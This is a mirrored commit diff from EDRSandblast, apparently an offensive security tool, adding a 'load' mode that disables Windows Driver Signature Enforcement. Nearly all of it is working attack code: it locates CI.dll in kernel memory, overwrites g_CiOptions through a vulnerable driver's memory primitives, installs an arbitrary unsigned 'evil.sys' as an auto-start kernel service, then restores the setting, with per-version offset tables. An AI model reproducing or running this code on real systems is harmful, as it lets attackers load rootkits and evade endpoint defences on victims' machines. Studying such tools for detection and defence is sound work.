mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
Add feature : loading unsigned driver
This commit is contained in:
@@ -8,6 +8,7 @@ typedef enum _START_MODE {
|
||||
credguard,
|
||||
audit,
|
||||
firewall,
|
||||
load,
|
||||
none
|
||||
} START_MODE;
|
||||
|
||||
|
||||
@@ -167,10 +167,12 @@
|
||||
<ClCompile Include="Drivers\DriverRTCore.c" />
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelDSE.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||
<ClCompile Include="Utils\CiOffsets.c" />
|
||||
<ClCompile Include="Utils\FileUtils.c" />
|
||||
<ClCompile Include="Utils\HttpClient.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
@@ -200,10 +202,12 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast.h" />
|
||||
<ClInclude Include="Includes\CiOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||
<ClInclude Include="Includes\DriverGDRV.h" />
|
||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||
<ClInclude Include="Includes\KernelDSE.h" />
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||
<ClInclude Include="Includes\FileUtils.h" />
|
||||
<ClInclude Include="Includes\HttpClient.h" />
|
||||
|
||||
@@ -117,9 +117,15 @@
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\CiOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverGDRV.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelDSE.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\CredGuard.h">
|
||||
@@ -233,6 +239,12 @@
|
||||
<ClInclude Include="EDRSandblast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\CiOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelDSE.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverGDRV.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
|
||||
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
|
||||
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
enum CiOffsetType {
|
||||
g_CiOptions = 0,
|
||||
_SUPPORTED_CI_OFFSETS_END
|
||||
};
|
||||
|
||||
union CiOffsets {
|
||||
// structure version of Ci.dll's offsets
|
||||
struct {
|
||||
// Ci.dll's g_CiOptions
|
||||
DWORD64 g_CiOptions;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[1];
|
||||
};
|
||||
|
||||
union CiOffsets g_ciOffsets;
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
|
||||
void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb);
|
||||
LPTSTR GetCiVersion();
|
||||
LPTSTR GetCiPath();
|
||||
@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
|
||||
// evil driver install
|
||||
TCHAR* GetEvilDriverServiceName(void);
|
||||
void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
|
||||
BOOL InstallEvilDriver(TCHAR* driverPath);
|
||||
BOOL UninstallEvilDriver(void);
|
||||
@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
// Helps at locating some DLL in the kernel, for example CI.dll
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
BOOLEAN IsCiEnabled();
|
||||
DWORD64 FindCIBaseAddress(BOOL verbose);
|
||||
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
|
||||
@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
TCHAR* FindDriverPath(DWORD64 address);
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
@@ -137,4 +137,4 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
#include "windows.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "../EDRSandblast.h"
|
||||
#include "winternl.h"
|
||||
#include "stdio.h" // for printf
|
||||
//#include "ntstatus.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "tchar.h"
|
||||
|
||||
#define nullptr ((void*)0)
|
||||
|
||||
BOOLEAN IsCiEnabled()
|
||||
{
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CiInfo,
|
||||
sizeof(CiInfo),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(Status))
|
||||
printf("[-] Failed to query code integrity status: %08X\n", Status);
|
||||
|
||||
return (CiInfo.CodeIntegrityOptions &
|
||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||
}
|
||||
|
||||
DWORD64 FindCIBaseAddress(BOOL verbose) {
|
||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
|
||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||
DWORD64 CiBaseAddress = 0;
|
||||
DWORD64 driverOffset = 0;
|
||||
DWORD64 callback = 0;
|
||||
DWORD64 cbFunction = 0;
|
||||
TCHAR* driver = NULL;
|
||||
DWORD64 callback_struct = 0;
|
||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
|
||||
if (callback_struct != 0) {
|
||||
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
|
||||
cbFunction = ReadMemoryDWORD64(callback);
|
||||
driver = FindDriverName(cbFunction, &driverOffset);
|
||||
if (_tcscmp(driver, L"CI.dll") == 0) {
|
||||
CiBaseAddress = cbFunction - driverOffset;
|
||||
if (verbose)
|
||||
printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
|
||||
return CiBaseAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
return CiBaseAddress;
|
||||
}
|
||||
|
||||
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
|
||||
*OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
|
||||
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
||||
WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
|
||||
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
|
||||
return TRUE;
|
||||
}
|
||||
@@ -105,4 +105,4 @@ DWORD64 GetKernelFunctionAddress(LPCSTR function) {
|
||||
}
|
||||
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
|
||||
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
|
||||
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
|
||||
|
||||
*/
|
||||
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "CiOffsets.h"
|
||||
|
||||
union CiOffsets g_ciOffsets = { 0 };
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineCiVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ciVersion, lineCiVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
|
||||
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
|
||||
g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
|
||||
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR ciPath = GetCiPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
TCHAR g_ciPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetCiPath() {
|
||||
if (_tcslen(g_ciPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ci.dll path.
|
||||
_tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
|
||||
_tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
|
||||
}
|
||||
return g_ciPath;
|
||||
}
|
||||
|
||||
TCHAR g_ciVersion[256] = { 0 };
|
||||
LPTSTR GetCiVersion() {
|
||||
if (_tcslen(g_ciVersion) == 0) {
|
||||
LPTSTR ciPath = GetCiPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
|
||||
|
||||
_stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
|
||||
}
|
||||
return g_ciVersion;
|
||||
}
|
||||
@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
|
||||
}
|
||||
return isRunning;
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Evil driver install / uninstall functions.
|
||||
|
||||
*/
|
||||
|
||||
TCHAR* g_evilDriverServiceName;
|
||||
|
||||
TCHAR* GetEvilDriverServiceName(void) {
|
||||
if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
|
||||
g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
|
||||
}
|
||||
return g_evilDriverServiceName;
|
||||
}
|
||||
|
||||
void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
|
||||
if (g_evilDriverServiceName) {
|
||||
free(g_evilDriverServiceName);
|
||||
}
|
||||
g_evilDriverServiceName = _tcsdup(newName);
|
||||
|
||||
if (!g_evilDriverServiceName) {
|
||||
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL InstallEvilDriver(TCHAR* driverPath) {
|
||||
TCHAR* svcName = GetEvilDriverServiceName();
|
||||
|
||||
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
|
||||
}
|
||||
_tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallEvilDriver(void) {
|
||||
TCHAR* svcName = GetEvilDriverServiceName();
|
||||
|
||||
BOOL status = ServiceUninstall(svcName, 0);
|
||||
|
||||
if (!status) {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -27,6 +27,8 @@
|
||||
#include "Undoc.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "CiOffsets.h"
|
||||
#include "KernelDSE.h"
|
||||
|
||||
#include "../EDRSandblast/EDRSandblast.h"
|
||||
|
||||
@@ -74,7 +76,11 @@ BOOL WasRestarted() {
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load> \n\
|
||||
[--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
|
||||
[--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] \n\
|
||||
[--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>] \n\
|
||||
--internet");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
@@ -88,6 +94,7 @@ Actions mode:\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
|
||||
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
|
||||
\tload Load the specified unsigned driver.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
@@ -119,6 +126,8 @@ Other options:\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
--unsigned-driver <evil.sys> Path to the unsigned driver file.\n\
|
||||
Default to 'evil.sys' in the current directory.\n\
|
||||
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
@@ -153,9 +162,12 @@ Other options:\n\
|
||||
|
||||
START_MODE startMode = none;
|
||||
TCHAR driverPath[MAX_PATH] = { 0 };
|
||||
TCHAR unsignedDriverPath[MAX_PATH] = { 0 };
|
||||
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
|
||||
TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE;
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR processName[] = TEXT("lsass.exe");
|
||||
TCHAR outputPath[MAX_PATH] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
@@ -191,6 +203,9 @@ Other options:\n\
|
||||
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
|
||||
startMode = firewall;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("load")) == 0) {
|
||||
startMode = load;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_putts_or_not(usage);
|
||||
_putts_or_not(extendedUsage);
|
||||
@@ -219,6 +234,14 @@ Other options:\n\
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
@@ -320,7 +343,10 @@ Other options:\n\
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
|
||||
if (startMode == load && !kernelMode) {
|
||||
_putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
|
||||
BOOL isSafeToExecutePayloadUserland = TRUE;
|
||||
BOOL isSafeToExecutePayloadKernelland = TRUE;
|
||||
@@ -631,6 +657,106 @@ Other options:\n\
|
||||
FirewallPrintManualDeletion(&sFWEntries);
|
||||
break;
|
||||
}
|
||||
// Load an unsigned kernel driver.
|
||||
case load:
|
||||
{
|
||||
if (_tcslen(CiOffsetCSVPath) == 0) {
|
||||
TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv");
|
||||
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName));
|
||||
}
|
||||
|
||||
if (FileExists(CiOffsetCSVPath)) {
|
||||
LoadCiOffsetsFromFile(CiOffsetCSVPath);
|
||||
if (g_ciOffsets.st.g_CiOptions == 0x0) {
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
|
||||
}
|
||||
else {
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) {
|
||||
_putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
#if _DEBUG
|
||||
LoadCiOffsetsFromInternet(FALSE);
|
||||
#else
|
||||
LoadCiOffsetsFromInternet(TRUE);
|
||||
#endif
|
||||
if (g_ciOffsets.st.g_CiOptions == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||
if (FileExists(CiOffsetCSVPath)) {
|
||||
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||
SaveCiOffsetsToFile(CiOffsetCSVPath);
|
||||
}
|
||||
}
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions);
|
||||
}
|
||||
}
|
||||
|
||||
if (g_ciOffsets.st.g_CiOptions == 0x0) {
|
||||
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT(""));
|
||||
if (kernelMode) {
|
||||
DWORD64 CiBaseAddress = 0;
|
||||
DWORD64 g_CiOptionsAddress = 0;
|
||||
if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
{
|
||||
CiBaseAddress = FindCIBaseAddress(verbose);
|
||||
if (!CiBaseAddress) {
|
||||
_putts_or_not(TEXT("[-] CI base address not found !\n"));
|
||||
}
|
||||
else{
|
||||
g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions;
|
||||
if (verbose)
|
||||
_tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
|
||||
if (_tcslen(unsignedDriverPath) == 0) {
|
||||
PathAppend(unsignedDriverPath, currentFolderPath);
|
||||
PathAppend(unsignedDriverPath, evilDriverDefaultName);
|
||||
}
|
||||
if (!FileExists(unsignedDriverPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
|
||||
ULONG CiOptionsValue=0;
|
||||
PULONG OldCiOptionsValue;
|
||||
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
|
||||
LPTSTR evilServiceNameIfAny = NULL;
|
||||
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
|
||||
if (isEvilDriverAlreadyRunning) {
|
||||
_putts_or_not(TEXT("[+] Evil driver is already running!\n"));
|
||||
SetEvilDriverServiceName(evilServiceNameIfAny);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Installing evil driver..."));
|
||||
status = InstallEvilDriver(unsignedDriverPath);
|
||||
if (status != TRUE)
|
||||
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
|
||||
}
|
||||
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
|
||||
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
|
||||
}
|
||||
}
|
||||
else {
|
||||
// CI is already disabled, just load the driver
|
||||
_putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print
|
||||
}
|
||||
}
|
||||
}
|
||||
// END WIP
|
||||
break;
|
||||
}
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
@@ -182,5 +182,5 @@ ci_22621-590.dll,41004
|
||||
ci_22621-608.dll,41004
|
||||
ci_22621-815.dll,41004
|
||||
ci_22621-675.dll,41004
|
||||
ci_19041-2075.dll,3a438
|
||||
ci_19045-2364.dll,39418
|
||||
ci_19041-2075.dll,3a438
|
||||
ci_19041-2364.dll,39418
|
||||
|
||||
|
@@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
|
||||
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
|
||||
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
|
||||
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
|
||||
ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8
|
||||
|
||||
|
Reference in New Issue
Block a user